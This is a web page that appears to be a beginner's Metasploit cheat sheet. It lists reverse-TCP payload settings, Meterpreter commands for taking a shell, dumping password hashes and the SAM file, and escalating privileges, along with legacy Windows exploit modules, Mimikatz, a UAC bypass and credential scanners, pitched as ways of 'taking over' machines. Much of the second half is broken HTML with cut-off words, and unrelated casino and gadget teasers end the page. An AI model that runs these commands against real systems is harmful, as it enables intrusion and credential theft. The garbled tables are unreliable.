Pen testers and security researchers favor the Metasploit framework for its advanced capabilities. H.D. Moore originally developed Metasploit in Perl, but it transitioned to Ruby in 2007. Its popularity soared, leading to its acquisition by Rapid7, a renowned security company, in 2009.
Metasploit provides a complete suite of tools for penetration testing and hacking, enabling users to exploit remote machines and web applications. This framework stands out for its sophistication and extensive features, making it a go-to tool for hackers and researchers alike. Each module in Metasploit offers a range of actions, allowing for versatile and powerful penetration testing.
For beginners, we’ve compiled a list of commonly used Metasploit commands and Meterpreter payloads to help you get started with practice and execution. This guide will introduce you to the essential commands that will streamline your workflow and enhance your penetration testing skills.
There’s three types of Metasploit commands.
Related: Kali Linux for Android
All the most commonly used and Metasploit Basic, Exploit and Exploit Execuation commands for beginners to learn are:
apt update; apt install metasploit-framework
msfconsole/help
search
show options</strong>
LHOST
LPORT
<strong>show payloads
<p><p><p><ul>
nd all the vulnerable operating systems to a specified exploit.
show targets
show advanced
show encoders
show nops
Command | Description |
---|---|
set payload windows/meterpreter/reverse_tcp | Used for Reverse TCP Windows Payload |
Command | Description |
---|---|
set payload android/meterpreter/reverse_tcp | Used for Reverse TCP Android Payload |
Command | Description |
---|---|
set payload windows/vncinject/reverse_tcpset ViewOnly false | Used for Reverse TCP Windows VNC Payload |
Command | Description |
---|---|
set payload linux/meterpreter/reverse_tcp | Used for Reverse TCP Linux Payload |
Check out the most useful and commonly used meterpreter commands.
Command | Description |
---|---|
upload file c:\\windows | Meterpreter command for uploading file to a Windows OS target machine. |
download c:\\windows\\repair\\sam /tmp | Meterpreter command for downloading file from a Windows OS target device. |
execute -f c:\\windows\temp\exploit.exe | To execute exploits on a remote victim machine. |
execute -f cmd -c | To create a new channel with cmd shell. |
ps | Shows all the Meterpreter processes. |
shell | Meterpreter get shell on the target. |
getsystem | This meterpreter command attempts the priviledge escalation on the target device. |
hashdump | It is used to dump hashes on the target system. |
portfwd add –l 3389 –p 3389 –r target | Meterpreter command for port forwarding to victim machine. |
portfwd delete –l 3389 –p 3389 –r target | Meterpreter removes port forwarding. |
Explore all of the most commonly used metasploit exploits.
All the exploits for attacking a WindowsOS machines remotely.
Command | Description |
---|---|
use exploit/windows/smb/ms08_067_netapi | Remote Exploit for the machines with Windows versions MS08_067 Windows 2k, XP, 2003 |
use exploit/windows/dcerpc/ms06_040_netapi | Remote Exploit for the machines with Windows versions MS08_040 Windows NT, 2k, XP, 2003 |
use exploit/windows/smb/ ms09_050_smb2_negotiate_func_index | Remote Exploit for the machines with Windows versions MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) |
Command | Description |
---|---|
run post/windows/gather/win_privs | Metasploit command to show all the privileges and permissions of the current user. |
use post/windows/gather/credentials/gpp | This Metasploit command grabs all GPP saved passwords. |
load mimikatz -> wdigest | Metasplit loads Mimikatz. |
run post/windows/gather/local_admin_search_enum | Searches all machines with administrative access. |
Exploits to work with a local machine.
Command | Description |
---|---|
use exploit/windows/local/bypassuac | Used for UAC (User Account Control) Bypass on Windows 7 systems. |
<tr>use auxiliary/scanner/oracle/oracle_loginMetasploit scanner used for Oracle Login Module.
<table>
CommandDescriptionuse auxiliary/scanner/http/dir_scannerMetasploit scanner tool used to scan HTTP directory.use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS used for vulnerability scanning.</td>use auxiliary/scanner/mssql/mssql_loginMetasploit Credential Scanner tool used for MSSQL.</td>
ription</thead><tbody>Metasploit JBOSS deploy.</p>
</
table>There’s hundreds of more actions and commands you can play with, but these are the most commonly used Metasploit commands for taking over a computer, smartphone, web apps and more. Hope this metasploit for beginners guide would be useful for you to learn working with MetaSploit.</em>
<table>
Command</th>Descuse exploit/multi/script/web_deliveryMetasploit shell payload delivery exploit.</td>
<tr>post/windows/manage/powershell/exec_powershellUploads the shell to target and run powershell.</p>
use exploit/multi/http/jboss_maindeployeruse exploit/windows/mssql/mssql_payloadMetasploit MSSQL payload.
Cross site scripting which is commonly known as XSS, is a very simple vulnerability found…
Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code…
When online slots first came online in digital form in the mid-1990s, casinos and slot…
For any regular players at an online casino one of the biggest factors in which…
The iPhone comes with its remarkable camera capabilities. They become a treasure trove of memories…
Learn the easiest methods how to turn off PS5 effortlessly. Discover quick button combinations and…